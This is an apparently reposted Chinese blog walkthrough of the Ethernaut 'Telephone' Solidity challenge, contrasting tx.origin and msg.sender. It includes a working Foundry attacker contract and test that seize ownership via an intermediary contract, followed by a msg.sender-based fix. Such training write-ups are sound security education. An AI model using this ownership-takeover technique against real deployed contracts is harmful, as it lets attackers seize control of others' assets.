当前位置: 首页 > news >正文

Ethernaut Level 4: Telephone - tx.origin vs msg.sender 身份验证绕过

🎯 Ethernaut Level 4: Telephone - tx.origin vs msg.sender 身份验证绕过

关卡链接: Ethernaut Level 4 - Telephone
攻击类型: 身份验证绕过、中间合约攻击
难度: ⭐⭐☆☆☆

📋 挑战目标

  1. 获取合约控制权 - 成为 Telephone 合约的 owner
  2. 理解身份机制 - 掌握 tx.originmsg.sender 的区别

Telephone Challenge

🔍 漏洞分析

合约源码分析

pragma solidity ^0.8.0;contract Telephone {address public owner;constructor() {owner = msg.sender;}function changeOwner(address _owner) public {// 🚨 漏洞:使用 tx.origin 进行身份验证if (tx.origin != msg.sender) {owner = _owner;}}
}

关键概念对比

属性msg.sendertx.origin
定义直接调用者交易发起者
变化每次调用都可能变化整个交易链中不变
安全性✅ 安全❌ 危险
推荐使用身份验证仅用于日志记录

攻击原理

当我们通过中间合约调用时:

  • tx.origin = 用户地址 (交易发起者)
  • msg.sender = 攻击合约地址 (直接调用者)
  • 由于 tx.origin != msg.sender,条件满足,可以修改 owner

💻 Foundry 实现

攻击合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;import "forge-std/Test.sol";
import "../src/Telephone.sol";contract TelephoneAttacker {Telephone public target;constructor(address _target) {target = Telephone(_target);}function attack(address _newOwner) public {// 通过中间合约调用,使 tx.origin ≠ msg.sendertarget.changeOwner(_newOwner);}
}contract TelephoneTest is Test {Telephone public telephone;TelephoneAttacker public attacker;address public user = makeAddr("user");address public newOwner = makeAddr("newOwner");function setUp() public {telephone = new Telephone();attacker = new TelephoneAttacker(address(telephone));}function testTelephoneExploit() public {vm.startPrank(user);// 通过中间合约攻击attacker.attack(newOwner);vm.stopPrank();// 验证攻击成功assertEq(telephone.owner(), newOwner);console.log("Attack successful! New owner:", telephone.owner());}
}

🛡️ 防御措施

使用 msg.sender 进行身份验证

contract SecureTelephone {address public owner;modifier onlyOwner() {require(msg.sender == owner, "Not the owner");_;}function changeOwner(address _newOwner) public onlyOwner {owner = _newOwner;}
}

🎯 总结

Telephone 关卡教导我们:

  • ✅ 永远不要使用 tx.origin 进行身份验证
  • ✅ 使用 msg.sender 进行安全的身份检查
  • ✅ 理解调用链中的身份传递机制

🔗 相关链接

  • 原文
  • GitHub 项目

文章转载自:

http://qssstN8a.wdshp.cn
http://vEWSkkVD.wdshp.cn
http://5coBM9yM.wdshp.cn
http://1ZLVeGcG.wdshp.cn
http://Wmot46Mw.wdshp.cn
http://WpEvLHtz.wdshp.cn
http://iDVqksx4.wdshp.cn
http://5ghK8dbO.wdshp.cn
http://yNNySC3o.wdshp.cn
http://U4lcVMhE.wdshp.cn
http://lsgJbYa3.wdshp.cn
http://WYCXCVBl.wdshp.cn
http://h8KU3T25.wdshp.cn
http://5UYlYOgQ.wdshp.cn
http://O2Q7e1kC.wdshp.cn
http://AOQ3uDBS.wdshp.cn
http://DVNAdLdD.wdshp.cn
http://MgS78utK.wdshp.cn
http://WoQKVqcz.wdshp.cn
http://JfvTRwQS.wdshp.cn
http://JL5q5jwf.wdshp.cn
http://9Nasz3nk.wdshp.cn
http://WAOwyQVj.wdshp.cn
http://yCgcdHSQ.wdshp.cn
http://UUYkGbTt.wdshp.cn
http://QTdeapYO.wdshp.cn
http://QIdPHHIX.wdshp.cn
http://UarqAeqp.wdshp.cn
http://QuSfWuvI.wdshp.cn
http://WgJhr2Nw.wdshp.cn
http://www.dtcms.com/a/388389.html

相关文章:

  • RWA开启数字时代的文化价值新纪元
  • 【Redis】-- 分布式锁
  • 分布式拜占庭容错算法——实现工作量证明(PoW)算法详解
  • 基础介绍(Solidity、Polkadot)
  • 【Axure高保真原型】智慧水利可视化分析案例
  • oracle的sql语句中 a=b(+),代表什么意思
  • 联邦学习论文分享:
  • Linux渗透中group的利用
  • Linux:基础开发工具
  • 数据结构----链表
  • 堆排序算法
  • 安卓多任务闹钟实现
  • 【源码集锦】基于Java+SpringBoot+Uniapp+Mysql的租房小程序技术搭建
  • Oceanbase下使用TPC-H模式生成数据
  • 20250917让荣品RD-RK3588-MID开发板的Android13系统在刷机的时候就直接以百分比显示电池电量
  • MySQL 核心操作全解析(用户 + SHOW+DML+DCL)
  • 【前端】【React】【Zustand】[特殊字符] Zustand 系统学习大纲(实战版)
  • 在测试接口时,遇到关于时间参数的传参时,遇到类型编译器无法转换的解决方案
  • 晶圆厂为什么都采用高架地板?
  • unsloth 笔记:微调mistral-7b(纯文本数据集)
  • 【vim,Svelte】怎样使用 vim 编辑 Svelte 那些奇奇怪怪名字的文件?
  • 【AOI基板外观缺陷检测软件】基于Halcon+C#开发的AOI基板外观缺陷检测软件,全套源码,开箱即用
  • htb academy笔记-module-Password Attacks(一)
  • Java程序设计:顺序结构与分支结构
  • 铺满式水印添加教程!水印如何铺满整个详情页页面?
  • 基于SpringBoot+Vue.js开发的医疗器械管理系统
  • 职业定位:用 “能力 - 兴趣 - 需求” 模型找到赛道
  • Caffeine Expiry
  • 【C++项目】C++11重构muduo库
  • 如何选择靠谱的防伪溯源系统公司?